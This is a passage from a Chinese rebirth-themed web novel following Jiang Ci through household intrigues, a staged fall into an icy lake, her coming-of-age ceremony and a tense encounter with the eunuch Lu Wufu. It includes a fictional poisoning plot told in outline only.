将军府确实不是良善之地,可那时的她,一心想着嫁给周以延,面对谢祈的话更多的是不解,以为他跟竹月一样担心周以延不爱她,苛待她。
现在仔细想来,谢祈和竹月的担心倒是对的。
姜瓷一只手在袖中握紧,周以延想必也是因为此事更加记恨她,才能对她下那般杀手,这辈子还是不要再见的好。
谢祈神色一怔,许是没想到她会这么说,手顿住,转瞬额头渗出薄汗,又皱眉难受道:“疼。”
刚刚虽找过大夫给他包扎了伤口,可胸前白衣又显出丝丝鲜红,正是之前替她挡刀的刀口,稍不经意便被撕裂。
他面色苍白,嘴唇毫无血色,姜瓷打量着他,倒不像演的,只是她还没能读懂前世这个杀神一般的少年葫芦里到底卖的什么药。
那般鲜血淋漓的场景,就算她没切身感受还是背后发凉,整个皇族被屠尽,连年幼的太子都没逃过,到底是怎样的仇恨?
“脱衣服吧。”姜瓷思索着,刚刚大夫刚走,又请他回来也不是,正好自己想看看庶妹下了多狠的手,日后好找她讨回来。
她前世也是成过婚的人,对这种事没感觉有什么不妥,谅李氏和姜嫣现在也不敢随意进她院中,下人都被屏退。
谢祈看着姜瓷坚定的眼神,半晌,伸手拉开了腰绳,里衣敞开露出少年小麦色的肌肤。
宽肩窄腰,身形矫健,这是一个小乞丐能有的?怕是比上周以延也不遑多让。
因缠着纱布,多上了几分若影若现的美感,姜瓷回过神来,咽了下口水伸手去解纱布,那纱布上渗了血,她动作已够轻柔还是难免扯下坏肉,谢祈忍不住闷哼一声。
姜瓷看他一眼,他嘴唇紧抿,面色紧绷着,细看耳尖还泛着丝丝红润,她拿起了一旁的药膏,挖出一点在手尖上后向他伤口处轻轻抹去。
微凉的触感顿时在伤口处绽开,谢祈垂眸看着姜瓷,她神色认真,肌肤白皙,散发着冷冽的光泽。
片刻后,她谨慎地将纱布重新缠绕好,如释重负长呼出一口气。谢祈望着她却忽然低低开口:“小姐很容易相信别人。”
这话说的姜瓷一愣,她抬头对上谢祈那双看不出神色的黑眸,也不知怎的,或许是前世他说的话太过动人,让她忍不住想要去相信他。
她原也觉得他利用她,为了进姜府不择手段,可午夜梦回,身着银甲的少年横抱着她,他若是真的想害她,根本没必要在她死后还惺惺作态。
*
梅花树下,女子身着绫罗绸缎,内里若影若现,寒冬飘雪天中却是难得的一抹艳色。
岚姨娘一副娇柔模样,扭捏行礼:“老爷,莫要因为一些小事烦心了。”
姜卓远本因为姜瓷的事面色铁青,浑身带着气,走进院子却看见如此美人柔声安慰,心里难免一阵波动。
他轻咳一声,神色松动,将外袍脱下裹在了岚姨娘身上:“天气寒凉,莫要冻坏了身子。”
岚姨娘借势就倒在了他的怀中,脸上泛着红,神态迷离又抚媚。
姜卓远顿时怜爱不已,呼吸变得有些急促:“娘子不如去我房中暖暖身子。”
不等岚姨娘答复,他就将她打横抱起,惹得岚姨娘一阵惊呼。
随后房中火烛熄灭,岚姨娘叫声连绵,只剩李氏在雪中咬牙。
翌日。
岚姨娘扭着腰肢去了姜瓷院中。
她着一身深紫色锦缎棉袄,牡丹花层层叠叠,头上斜插着一只金簪。
开口娇嗔的惹得人一身鸡皮疙瘩:“小姐,人家来讨报酬了。”
姜瓷轻轻放下手中古籍,眼尾带着笑:“你头上那金簪算不算报酬?”
“小姐!”岚姨娘跺脚道。
“你放心,你家中事我都安排好了,尚书府家大业大你还怕我跑了不成?”
闻言,岚姨娘这才送了一口气。
岚姨娘原是青楼女子,家中母亲却得了重疾,跑遍全城也无人愿为其医治。
姜瓷见她生得极其艳丽,这才帮了她,让她进了府中,盯住父亲和李氏。
“小姐万福金安……”谢祈嘶哑的声音传来。
他一步轻一步重地走了进来,身上还裹着外面的寒意。
姜瓷微微愣住,他腿怎么了。
似是发现姜瓷打量的目光,谢祈立在原地开口解
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释:“昨日在雪中冻伤了。”
姜瓷蹙眉道:“那你便回房中好好歇着。”
话音刚落,又一道声音响起:“这里倒是热闹。”
她见来人,立刻欣喜起身道:“哥哥。”
谢祈在姜棣的目光中默默退到了一旁,无人注意的角落里,他默默捏紧了手。
岚姨娘自觉无事,便悄悄离开了,临走之前还带着笑瞟了谢祈一眼。
她自诩情场高手,此生阅男无数,一眼便看出了谢祈的心思。
想装可怜?她家小姐才不吃这一套。
姜棣示意她坐下,自己也坐在了她的对面,竹月给他倒上一杯热茶,他在茶雾中开口:“明日就是你的及笄礼了,可有心仪之人?”
不等姜瓷开口,他眉头渐锁:“大将军并不合适。”
上一世,她死心塌地对周以延,父亲要跟将军府议亲,哥哥却是不同意,因此跟哥哥大吵一架,更加想嫁。
如今看透一切,她自是不可能再嫁周以延了。
她淡笑道:“放心吧哥哥,我并不喜欢周将军。”
闻言姜棣神色舒展:“那便好。”他端起茶杯抿了一口,又试探道,“哥哥这有一人你可以见见,是兵部郎中许山,现在就在院中。”
姜瓷迟疑了一瞬,随后笑答:“好。”
这位兵部郎中姜瓷是知道的,是个京中人常津津乐道的翩翩佳公子。
她的庶妹也十分爱慕他,前世她嫁到将军府没多久,就传来了姜嫣与许山定亲的喜事,只是后来尚书府遇难,这门亲事也不知如何了。
竹月在一旁忍不住出声:“小姐您能想通真是太好了!三个腿的蛤蟆难找,两个腿的男人多的是,切莫委屈了自己!”
姜瓷只笑着,抬头却和谢祈的眼神碰了个正着,不知为什么总觉得他看她的眼神带了几分幽怨。
她悄无声息地移开,在心中叹了口气,连竹月都能看明白的事,她却事后才后悔。
院中,两人执棋对弈,正是许山与姜瓷。
刚刚出房,满世界的雪白,便看见许山在飞檐翘角的亭子里与自己下棋,着一身白衣,长发半散,还真有种温润公子的模样。
姜瓷一瞬间便来了兴趣,她前世在将军府无事做时便爱研究棋书,都说棋风鉴人品,大半年时间她也算是摸出了些门道。
姜瓷执黑子,稳稳落在棋盘中,发出“啪”的一声脆响,动作优雅而从容。
反观许山却是眉头紧锁,目光在棋盘上扫来扫去,虽背脊直挺,却有种难言的慌张,片刻后,一子落下,布局却出现明显的疏漏。
姜瓷稍稍扬眉,思索后将棋子落在了别处。
这位许郎中似乎并不是表面那般谦谦君子,相反,棋风贪功冒进,投机取巧,她心中疑惑,却未言语。
这般草率的决断也并非是她的性格,只是她忍不住想,若是哥哥失势那获利的会是谁?可不就是这位许郎中吗。
又是“啪”的一声落下,许山长舒一口气道:“承让了。”
白子胜。
姜瓷淡淡一笑:“恭喜。”
话落,旁边传来一声冷笑,她转过头去,见谢祈一双黑眸正直勾勾盯着她。
7. 雪人
院中雪落三尺厚,小池被渡上了一层薄冰。
亭下姜棣和许山对坐着,悠扬的琴声从姜棣手下传出,姜瓷在池边滚了两个雪球。
纤细的手冻的通红,姜瓷随意搓了搓手,哈口热气后,将小雪球安在了大雪球上面拍打修型。
许山忧心道:“西南地区洪灾来势汹汹,道理受损,不仅百姓流离失所,粮食运输也……”说罢,他叹了一口气。
姜瓷修整雪人的手一顿,这番洪灾她有印象。
据说是百年难遇,可当今皇帝暴虐,国库空虚,救济难民困难重重。
民不聊生不说,皇帝竟大手一挥,竟说出区区洪灾,何足挂齿这种话。
再加上朝中常有贪污腐败,就算拨出了赈灾的银两,最后落到百姓手中的也就那么三瓜两枣。
姜棣一首曲终,手抚琴上,眼中看不出悲喜:“我们的失职。”
这事传到京城也有几日了,迟迟没能落下应对之策,百姓等不及,可皇上耗得起,甚至开始修建新的宫殿。
姜瓷抿唇捡两块石子,塞进了小雪球里,充当雪人的眼睛。
暴君当道,想要存活要么低下头,要么砍下他头,可若后者那么容易,也不会有这么多人死在权力的争斗场里了。
廊下,姜嫣着一身粉袍,裙摆上绣着小巧的梅花,头上金步摇晃动,她手微微提起裙摆,脚步匆匆。
她的丫鬟翠蓝道:“小姐您今日真美,许郎中看了定是心花荡漾。”
姜嫣闻言露出了一抹娇羞之色,渐渐放缓了步子,提醒道:“待会你可不能在许郎中面前出岔子。”
上一次许山来家中,姜嫣令翠蓝将玉佩放在姜瓷房间,谁知最后也没找到,她心里认定了是翠蓝没办好事。
她仅比姜瓷小几月,如今也快要到及笄,虽是庶女,可毕竟是尚书府的人,配一个郎中还是绰绰有余的。
她从小就仰慕这个温润如玉的翩翩公子,不过许山总说把她当妹妹看待,姜嫣暗暗捏拳,她今日出门前特意打扮了一番,发誓要让许山眼前一亮。
待走近,姜嫣微挺脊背,看见许山就欣喜地打招呼,可许山也不知是故意的,还是真的没看见,竟视若无睹。
姜嫣眼底一酸,翠蓝急急安慰道:“定是这害人的松树挡住了小姐,走近点许郎中就能看见了。”
姜嫣也觉有道理,收回悲伤神色,刚往前迈两步,顺着许山视线望去,却看见姜瓷。
而许山看她的眼神,可不就是平日里她望向许山的眼神吗!
姜嫣一下子退回了原地,躲在廊下柱后,死死咬着唇,眼里全是怨毒,她咬牙道:“贱人!”刚刚忍下的酸意又翻卷而来,她眼底闪烁着泪花。
翠蓝也看见了刚才那一幕。
姜瓷在白茫茫一片中,贵气难掩,似清冷仙子,脸颊却因寒冷带上了一抹红润,谁看了都得愣神一瞬。
明明不是顶级漂亮的容貌,却因为气质惹人注目,而姜嫣因承了李氏几分,外貌她上自认比姜瓷好看,可却处处不如她!她怎能不恨。
翠蓝安抚着姜嫣,望向姜瓷后,眼珠转动,狡黠一笑:“奴有一计。”
她附在姜嫣的耳边,片刻后,她们对视会心一笑。
姜瓷坐在桥边,欣赏着自己堆的雪人,顺便听听姜棣和许山在聊些什么。
目光扫视间,望见谢祈正矗立在廊下,还真有种侍卫的模样。
刚才同许山下完棋,姜瓷问他为什么盯着她,他说:“小姐故意让他。”
姜瓷却是笑了起来,眼底带了些探究:“你也懂棋?”
谢祈颔首又摇头:“并不很懂,但小姐的神色能看出来。”
输了后却并不意外,眼里带着那种透析一切目光。
他观察的倒细致。
目光下移至他的腿,细看还是有些重心不稳,入神间,姜嫣忽然出现在她面前。
“姐姐。”姜嫣带着歉意的笑,“我找到我的金簪了。”
姜瓷转过头去,静静地看着她,面上不显,眼里带着寒意,她又在耍什么花招?
姜嫣自觉尴尬,笑容僵了几分,心里暗骂姜瓷不识好歹,但一想到马上就能让姜瓷好看,笑容又带上了几分颜色。
她甜甜道:“姐姐,我错了。”说着她就去拉姜瓷的手。
姜瓷坐在桥上,身后就是结了薄冰的小湖,离亭子不算太远,姜棣也注意到了她们这边的动静。
“那也是你妹妹?”许山仔细望着,思索道,“前几日来,倒是有件有趣的事,庶妹居然带着人要搜嫡姐的院子。”
姜棣目光轻扫过他,随后落在姜嫣的身上,眉头微蹙道:“我只有一个妹妹。”
许山看着他半晌,却并未言语。
树稍被积雪压弯,一阵寒风吹过,终于不堪重负,大片雪花掉落在雪地上,发出轻微声响。
姜瓷轻撇开她的手,冷冷站起道:“这话你应该去跟他说。”
她越过姜嫣朝着谢祈看过去,姜嫣顺着视线扭头,看到站在廊下的他,面目差点扭曲。
她居然让她去给一个乞丐道歉!
谢祈像是感应似的,察觉到姜瓷的目光,抬起了头,对视间,姜瓷罕见地露出了一个笑容,似暖阳初升。
他不由得怔神,忽地,一抹淡青色出现在视线中。
一个丫鬟低着头,直直朝姜瓷走去,路过时却刻意用劲撞了一下。
姜瓷没能防范,这才意识到姜嫣的目的。
她想让她落到湖中,现是隆冬,湖面上结起一层薄冰,她若掉到这冰水里面,得冻成冰雕。
她好像已经看到姜嫣得意地笑,实在卑劣!就像上一世在宫宴中引她出糗那般。
姜瓷咬牙,跌落的瞬间猛的抓住姜嫣的衣裙,那抹笑还没彻底绽放就转化为惊恐。
“噗通”一声,两人齐齐落入水中,冰水瞬间浸透姜瓷,如无数根针狠狠扎进身体。
姜棣见此,蓦地起身,古琴被带动掉落在地上,几根弦瞬间崩断,沉闷的声响后,琴弦剧烈颤动,发出一阵杂乱的哀鸣。
不等他过去,就看见一道黑色身影,迅速从湖里将姜瓷捞起至桥上。
姜瓷发丝贴在脸颊,嘴唇发紫,面色苍白,看着谢祈微微喘着气。
随后她扭头,冷冷地盯着还在湖里扑腾的姜嫣,气若幽兰吐出两个字:“救她。”
谢祈未说话,明白她的意思后走到湖边拽着姜嫣正在扑腾的手腕,一把扔向了旁边雪地里。
姜嫣强撑着坐了起来,浑身发抖,嘴里半天吐不出一个字,只念叨着:“你你你…”,没一会儿又倒了下去。
那丫鬟压着脑袋就想走,眼前却忽然出现一双黑色绸缎鞋。
“你想
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去哪?”姜棣眉头紧锁负手立在她的面前。
那丫鬟瞬间吓地跪在了地上,颤颤巍巍道:“大公子……奴不是有意的。”
这丫鬟名为春雨,本已到了出府年龄,外头也有了如意郎君,李氏却迟迟不放人。
这番姜嫣承诺她,办成事后就放她出府,她这才冒死顶撞了姜瓷。
姜嫣说就只是轻轻撞一下,不会有什么事的,只要能让她出个丑。
可如今姜棣的态度却不像能轻易放过她的样子,春雨不由得发抖,可想到外头还有郎君在等着她,又定了心神,毕竟姜嫣承诺过她!
姜棣盯着她,眼睛微眯道:“哦?那就发卖了去,算你谢罪了。”
春雨脸色瞬间煞白,眼里满是恐惧,声音颤抖着求饶:“公子饶命啊!奴婢再也不敢了!”她不停地磕着头。
她怎么也想不到后果会这么严重,姜瓷平日里在家便不受宠,家中下人多少都有些苛待她,姜棣也甚少归家,虽知道姜棣宠爱这个妹妹,可她不知道竟宠爱到这个地步!
春雨原以为挨几棍子,磕几个头便能解决,加上有三小姐的保证,自己定不会吃太多苦。
可现在姜棣神色不容拒绝,几近绝望之间她转头看向姜嫣。
姜嫣早就晕倒在地上起不来了,她满眼泪水,站起来就想跑。
可尚书府这么大,她又怎么逃的出去呢。
许山又出现在她的面前,虽未言语,可春雨因为害怕被逼的一步步向后退,下一秒,脚下多出来什么东西。
她被绊倒,一下坐在了地上,把姜瓷的雪人坐了个四分五裂。
姜瓷刚脱下斗篷裹上竹月递过来的绒毯,就看见自己的雪人被坐碎,惋惜般叹了口气。
春雨这丫头倒是忠心,被逼到这个地步也没把姜嫣托出去,李氏留她到现在也是有原因的,如此忠诚的丫头倒是不多见。
姜瓷发丝上结满了冰渣,她快步走到春雨面前,看了她两眼后,开口道:“哥哥,她也不是有意的,就把她打发了出府吧。”
春雨坐在雪地里,不可置信地抬起头,眼里满是感激。
姜棣眸光深沉看着她,半晌道:“那就依你所言。”
春雨急急跪下,泪水夺眶而出,不停磕头:“谢小姐成全,谢公子成全,小姐恩情奴此生都不敢忘!”
姜棣望着眼前的妹妹,裹着柔软的白色棉毯,肌肤白皙如出水芙蓉,与那日面对姜嫣的冰冷不同,此时的她像渡上了一层柔光,只是站在她身后的谢祈显得格外刺眼。
阳光出来了,姜嫣被下人搬回了屋里,醒来后又是一阵尖叫,李氏被吓了一跳,急急安抚。
入夜,姜瓷院中传来窸窸窣窣的声响,她睡眼朦胧地出门查看。
一个可爱的雪人立在房前,手臂上插着两个呆呆的树枝,比她之前堆的还要大些,还要精致些。
谢祈听到声响,手一顿,回头就看见姜瓷一身素衣站在门前,他将手背在身后,低低开口道:“小姐。”
姜瓷扬眉:“你堆的?”
“竹月。”
姜瓷带着研究的目光走近,绕着他看了一圈后,让他把手打开。
里面放着两块石子。
她将石子安在了雪人眼睛的位置,随后看向谢祈,他面上不显,耳尖却泛着红润。
姜瓷歪头笑道:“谢谢。”
8. 及笄
青色瓦砖在阳光照耀下泛着光泽,四周回廊上挂着红灯笼,地毯上绣着吉祥图案,今日是姜瓷的及笄礼。
她着曲裾深衣,外搭红色大袖衫,耳垂挂着小巧的玉石耳坠,梳着双环髻,带了两条彩色的丝带。
竹月替她整理好发髻,望着铜镜里的姜瓷明眸皓齿,笑着道:“小姐真漂亮。”
她本是柔和清冷的长相,这般打扮却也叫人眼前一亮,仿佛玉骨天成。
姜瓷心头一动,上一次穿这般红衣还是在大婚之日,居然有种前世今生的错觉,她舒出一口气,这次万不能再错了。
上一世及笄礼后就立马与将军府定了亲,没多久就成婚,速度之快也让她懵了神,不过是嫁与自己心心念念之人自然是不嫌快的,现在仔细想来,这其中应是有些事情。
竹月思索后继续道:“小姐可有心仪的人?”她带着抹笑,从铜镜中看着姜瓷。
未出阁女子谈论这种事往往都会窘迫,她也想从小姐脸上看到那抹难得的羞怯,可事实是什么都没有,姜瓷还是那般淡笑着。
“你觉得那兵部郎中如何?”姜瓷垂眸,又说,“哥哥好像有意让我嫁给他。”
她知道许山并非良配,不过有些事情,离的够近才能揭开伪装的皮,看看里面到底是黑是白。
竹月蹙眉道:“婚嫁之事并非小事,郎中配不上小姐。”
的确,她尚书府嫡女千金之躯,便是配皇子也是足够的,一个小小的郎中着实是配不上她,可哥哥若有意,她也是愿意的。
门外,谢祈站着,少女的话传入耳中,不知为何就紧捏了拳头。
可转瞬又松开了手,他有什么资格管她的事?
姜瓷梳妆完,打开了门,天上又飘飘悠悠下起了小雪。
转头撞上谢祈的目光,她微微一怔,居然有些莫名的心虚,不过很快就调整好情绪,笑道:“早。”
不等谢祈答话,院中传来声响,脚步踩在雪地上,还有些出奇的缓慢。
姜瓷转过头去,发现来人急急上前道:“继母。”
曲桑宜孕肚微显,站在伞下望着她,淡淡道:“生辰吉乐。”
她没什么表情,甚至算得上是疏离,可挺着个肚子还来她院中祝福她的人又能有多坏呢。
上一世因跟李氏亲近,听信李氏谗言,对这个继母没什么好感,还有些刻意针对她,不过曲桑宜永远是那副清冷模样,不问世事的样子。
她前世也来给她送了祝福,她是怎么说的呢,冷脸告诉她不需要她惺惺作态。
曲桑宜什么都没说,只看了她一眼就默默走了,姜瓷原以为她会记恨自己,可后来她还是为她取了字。
现在看来这个继母除了性子淡淡的,不苟言笑,也并没有李氏说的那般恶劣。
想到她的结局,姜瓷不由得为她惋惜,仙子一般的人,却落得个难产离世的下场,她垂眸在心里下了决心,这次绝不会让李氏得手。
她歪头笑道:“谢谢母亲。”
一句母亲出口,曲桑宜不由得抬眼看她,嫁进尚书府一年多,姜瓷从未叫过她母亲,最多便也是继母。
再加上她不喜出门,两人相见也不多,说的话更是少之又少。
礼至。
姜瓷在东房内,曲氏的手微凉,帮她梳整着发髻,由双环髻改为了高髻,高高盘起后插入一只金簪。
虽经历过一次,可再来还是有些紧张,今日她前世丈夫周以延也会来,她微微吐出一口气,当时没看见他就行。
去了正厅,各路高官都已在了,包括周以延,她视线快速扫过,却她见到了一个让她意想不到的人,东厂总督陆无浮!
一时间绝望记忆涌上来,前世就是他背后指使了李氏,仇恨翻滚喉间竟泛出丝丝铁锈味,她恨不得将他撕碎了踩在脚下才好。
可为什么?她明明记得前世及笄时陆无浮并没有到场,今日为什么会来?
或许是姜瓷目光太过灼热,陆无浮似察觉到了,转过头来,还是那双带着压迫感的眸子,却莫名地含了笑。
他身量很高,肤色白皙的近乎透明,今日穿了一身黑色蟒袍,袖口领口镶嵌着金边,腰间束着黑色腰带,上头镶嵌着玉佩。
姜瓷意识到自己的失态,敛了情绪恢复了平常的模样,只是刚刚那抹恨意被陆无浮尽收眼底。
陆无浮眼中透出疑惑,慢慢转动着大拇指上的白玉戒指,今日应是他们第一次见面。
姜瓷正色对姜父和曲氏行了拜礼,曲桑宜缓缓开口:“今为你取字"昭",望此字能伴你一生,做个如星辰般明亮之人。”
她拜受,再向宾客行礼后礼成。
曲桑宜对她真的算是仁至义尽了,父亲不给她取字,反而让继母出面,她那般对她,曲桑宜不记恨她吗?
眸子垂着看不见情绪,思索后她独自找到了姜棣:“哥哥,我需要你帮我盯着一个人。”
姜棣立于廊下,盯着眼前一袭红衣的妹妹有些怔神,疑惑却还是颔首吐出一个字:“谁?”
“厂督陆大人。”她蹙眉,又道,“他和李氏……”
姜瓷不知道该怎么说,没来由的说出厂督和一个家宅妇人,怎么想都觉得诡异。
姜棣虽疑惑,但没多问便点头答:“知道了。”姜瓷向来不是莽撞的人,这么做定有她的道理。
望着哥哥的神情,她微微吐出一口气,哥哥一向心细,只要能发现陆无浮一点端倪,定能够顺着蛛丝马迹打一场漂亮的翻身仗。
“姜二姑娘,为何要盯着咱家?”陆无浮慢慢悠悠地走到了她的身后,脚步没一点声音,狭长的眸子盯着她。
姜瓷刚放松下来,朝着哥哥露出一个笑容,霎时间,她笑容僵在脸上,整个人都紧绷住。
她没敢回头,上一世与陆无浮的交集并不算多,甚至他对她说话时都是很温和的,可从李氏嘴里听到他的名字后,她就自动把他划分为了恶人。
如今自己在这议论他,要派人跟踪他,还被他听见了,姜瓷也不知是心虚多还是害怕多。
姜棣察觉到她的情绪,下意识地拉住她的手腕,把她拽到了身后,姜瓷只堪堪露出半个脑袋。
不等姜瓷开口,姜棣下意识蹙眉维护道:“小妹不懂事,说错了话,还请厂督大人见谅。”
陆无浮不知信没信,好看的脸上浮出一抹笑,望住姜棣:“咱家在同二姑娘说话。”
霎时空气中火药味弥漫,姜瓷不知道怎么会变成
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这样。
她不想跟陆无浮有过多的交集,定了定心神,从姜棣身后踏出半步道:“陆大人竟还有偷听别人说话的癖好。”
最后那抹胆怯被收敛,姜瓷身上再看不出一丝心虚,仿佛刚才说要监视他的人不是她一般。
陆无浮嘴角笑容依旧不减,永远是那副含笑的假面模样,同前世对她说那话的时候完全不一样。
他把玩着拇指上的白玉戒指,轻笑道:“若姜二姑娘愿意,咱家随您看。”
话落,一把寒刃“噌”的出鞘,架在陆无浮的脖颈,姜棣眉头紧皱,眼中满是冷意,刀剑之无情,陆无浮白皙的脖颈渗出丝丝鲜血。
那刀刃再往里一点就能轻松取下他的性命,陆无浮却一步未动,眼底甚至还有些嚣张。
姜棣咬牙道:“你一个太监也敢肖想。”
气氛剑拔弩张,姜瓷虽也想要陆无浮的命,可若是现在哥哥杀了他后果不堪设想。
陆无浮对她的态度也是她完全没想到的,他对哥哥那种不屑的眼神却让她很是厌恶。
姜瓷蹙眉看陆无浮一眼,轻轻扯了扯姜棣的衣角,小声道:“哥哥别冲动。”
陆无浮察觉到她的目光,蓦地将手捏紧,搭在白玉戒上的那根手指都发了紫。
他虽笑着,却明显感觉到眼底笑意全无,他抬手将刀刃推开,那寒刃在他手指上划下一道伤痕。
鲜血瞬间顺着手指流下,落在了地上,姜棣没想到他会这般,深深看了他一眼,收回了剑,视线扫过地上的鲜血,又落在陆无浮含笑的脸上。
陆无浮从衣间拿出来只帕子,轻轻擦着手指上的鲜血。
慢悠悠道:“咱家只是为解姜二姑娘忧,姜侍郎何必这般,还能真杀了咱家不成?”
姜瓷看着他手中的帕子却是怔了神,那上面绣了一朵梨花,正是她母亲给她的帕子,后来却是给了别人。
怎么会落到陆无浮手中?
姜瓷凝眸注视着他。
“你自己心里清楚。”姜棣严声道。他将剑收进剑鞘中,拉着姜瓷就要走。
陆无浮这话着实逾矩,本朝厂督滔天的权势,却对一个更及笄的小姑娘另眼相看,姜棣心中一阵恶寒。
这太监向来心思缜密,睚眦必报,今日过后姜棣恐怕不会好过,可见着他那种虚伪的笑容他就窝火。
姜瓷被哥哥拉了一个踉跄,陆无浮用没受伤的手扶了她一把,回眸间同他对视,他快速松开,眼神移向别处,不敢看她。
待姜瓷被拉着走出两步后,他挺直腰杆,却收起了那副锐利的模样,垂眸淡淡道:“昭昭如愿,岁岁安澜。”
随后他阴沉笑着,抚上了脖间伤痕,伤口虽很浅,却还是泛着丝丝疼痛。
可想起刚才姜瓷看着她的眼神,从一开始的害怕,变成后来的厌恶,再如何疼也抵不过心里万分之一。
他摁住血痕,痛感传来,他低低道:“若你不是她哥哥,咱家必扒你一层皮。”
这世上敢叫他太监的人还没几个,仿佛被戳中心里那根刺,细细密密的疼,却怎么也拔不出。
可片刻后,陆无浮又自嘲般笑了,蹲下身用衣袍擦着滴在地上的血迹。
罢了,他欠她太多。
9. 陆无浮
他欠她太久了,从年幼起,她救他一命,他却误打误撞帮助别人害死了她,认出是她时却为时已晚无力回天。
到最后想去救她,只看见她冰冷的尸骨,那时分明是春日午后,他只觉浑身冰冷。
所以他也随着去了,死的时候小心的很,一滴血都没有溅到她身上,毕竟他的血太脏了……
陆无浮也不知道自己在廊下站了多久,仿佛从前世望到了今生,忽得听见前厅传来一声尖叫锐的叫声,他才回过神来。
前厅中,曲桑宜倒在地上,头上渗着一层薄汗,手捂着腹部眉目扭曲。
她面色苍白如纸,身下一片鲜红,一身素色裙摆皆被染红,看着触目惊心。
李氏站在一旁满脸惊恐,嘴微张着,半天说不出话。
曲桑宜走过她的时候,突然拉住她就向地上倒去,当时她脑海里就一个想法,她疯了吗!
天知道她刚刚从岚姨娘院中出来,正得意着,盘算今日要让岚姨娘在众人面前颜面尽失,从此自己又可以在尚书府中独大。
谁知道突然来了这一出!谁要害她?
李氏着实无辜,可从旁人的视角来看就是姨娘当众推了嫡母,至她流产。
她环视了一圈的人,眼泪就要掉下来,却看见姜瓷在角落冷笑着,她第一反应就是,是她!
可她毫无证据,毕竟曲桑宜是拉着她倒下去的,除非有人愿意帮她,不然她跳进黄河也洗不清。
姜父虽震惊,但事实摆在眼前,这么多人都看见了,他不可能给自己安上个宠妾灭妻的帽子,落人口舌。
他急急传了大夫,快步走到李氏面前,面上一片愤怒,对着还愣神的李氏就落下一记耳光,力道之大,李氏的头被扇的歪到了一边,发髻散乱。
他怒道:“你都干了什么?”
曲桑宜被抬了下去,李氏捂着脸,一时委屈涌上心头,抽泣道:“老爷,不是我!是那曲氏自己倒下去的,我什么都不知道啊!”
姜父面色铁青,李氏哭着跪下来求饶,往他脚边爬着,满脸泪水道:“真不是我啊!”
这满屋子人自然是有人看见真实情况的,可他们更多是看个笑话的心态。
毕竟只是一个姨娘,后宅中的肮脏事太多了,李氏此刻才真真体会到了孤立无援。
姜瓷承着李氏怨毒的目光,款款走上前:“姨娘,就算你求宠心切,也不能这样害母亲啊,我原以为你是个好人,如今看来……”
她说这话的时候满眼惋惜,仿佛这人真是李氏害得一样。
姜瓷在心中冷笑,这不是李氏最擅长的方式吗,报应在自己身上的感觉怎么样?
李氏怒目圆瞪,咬着牙在心里想要将她撕碎了,可这么多人在场,她若是对嫡女再不敬,那就是大罪过了。
一时口舌之快和性命她还是分得清的。
姜卓远冷眼看着李氏,又扫过姜瓷,吩咐道:“来人,将这毒妇关入房中,事情没出来之前不得出门!”
他还是疼爱李氏的,若是放在其他人家姨娘谋害嫡母流产可是要被砍头的大罪。
如今却只是轻飘飘一句不得出门,姜瓷冷冷笑着,直到李氏哭喊着冤枉被带走她才离开了前厅。
周以延却在她走后深深看了她一眼,姜瓷忽的感觉背后一凉。
难道是因为自己做了坏事的报应?
曲桑宜流产确实是姜瓷干的,不过她没想到她会去拉着李氏。
她在曲氏的饭菜里下了些药,前世她便是难产去的,她怀疑李氏却找不到什么线索,无法确定李氏用了什么手段。
说不定这背后还有陆无浮的插手,寡不敌众,她干脆从源头切断风险。
流产虽伤身却远比失了性命来得好些。
况且曲氏似乎也并不爱这个孩子,知道自己流产脸上看不出一丝悲伤。
姜瓷推开曲桑宜的房门,大夫为她把着脉,她面色苍白。
写完药方后大夫说了些嘱咐便告退了,曲桑宜虽因为疼痛眉头微微蹙起,却还是那般淡淡的样子。
她轻飘飘睨了姜瓷一眼,转过视线几乎不带任何情绪:“你做的?”
姜瓷瞳孔微缩,垂下了头,她没想到曲桑宜居然知道是她,可她为什么还要去拉着李氏。
看到姜瓷近乎默认的态度,曲桑宜以往淡淡的脸上居然浮现出一丝愠怒,可转瞬即逝,只余下几个字:“你就这么恨我?”
姜瓷急急解释:“不是的!”可她张着嘴又不知道该说什么了。
这是她重生回来后第一次这么无措,她没办法跟曲桑宜说因为我知道你会难产,这太诡异了,也没人会信。
可明知结果,她还不去改变这是不可能的。
曲桑宜看出姜瓷的难言,她都容忍她两年了,能喊她一声母亲也是好的,这点事她也不想再追究了。
毕竟这个孩子她也不想要,抓着李氏也是顺手的事,从她刚入府时李氏就引导姜瓷憎恶她,着实可恨,今日也算她给她的报复。
若是她想,她有一万种方式搞死李氏,可没必要,让她在这府中牵扯住姜父才是最好。
“母亲,对不起……”姜瓷垂着眸子,没敢往前靠近一步,她对曲氏实在亏欠,无论前世还是今朝。
曲桑宜嘴唇苍白,抬眼深深看了她一眼,沉声道:“你须知你无需对任何人感到抱歉,活在世上最先要的是活着,无论什么手段,若总对人愧怍,是走不远的。”
姜瓷抬头一愣神,她想过曲氏没有任何神色,想过她赶自己走,也万没想到她会说出这番话。
曲桑宜将头别到一旁,眼睛微微阖上,出声道:“你走吧,别总把情绪摆在脸上。”
姜瓷目光停留在她的身上,眼前人着实是让人看不透,仿佛没有任何情绪,素净的同仙子一般,纤细的手腕上戴了一只翠绿色的镯子。
片刻后,她低头行礼,走了出去。
看向她的背影,曲桑宜舒出一口气,从前她确实是不怎么喜欢这孩子,可现在看来也还算是顺眼。
看样子也并不是有意为之,她又何必追问他人苦衷呢,每个人都有说不出口的事。
姜瓷敛着情绪走在廊下,周身气息都低沉了几分,谢祈出现在她的身边,低声道:“小姐。”
她望他一眼,继续走着,牵强一笑:“做的不错。”
这药是
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托谢祈买回来的,确实做的神不知鬼不觉,曲桑宜居然能直接猜到是她,她还真是失败。
谢祈察觉到她情绪不好,只默默跟着她走,并未言语。
两人路过一个屋子时却听见里面传来阵阵娇声。
她是成过婚的人,自然知道这是什么动静,一时间刚刚的低落被冲刷,余下的不知是羞还是震惊。
怎么敢!在她及笄礼上行这种事,无论是谁,被人抓到都不会有好下场。
何况还是在如此显眼的地方,只要有个人经过略微懂点其中的事,都能轻易听出来。
只是姜瓷越听这声音越不对劲,蹙着眉想着,这尖细的声音实在是有辨识度,不一会一个扭着腰肢娇媚的身影就浮现在她脑海中,岚姨娘!她不想活了吗?
谢祈却是一副不谙世事的模样,带了些疑惑细听着房内的声音。
姜瓷实在是震惊,环视了四周,还好没见着人影,现在大部分人都在前厅。
她舒出一口气,抬手敲了敲房门想提醒她,可房内动静不减,她眉头微微蹙起。
岚姨娘她还算是了解,虽是个胡闹的,但也不至于到青天白日下行这种事的地步。
谢祈见她脸色不好,帮着她拍了拍门,依旧无人应,于是他加了点劲。
“啪”的一下,门被直勾勾打开。
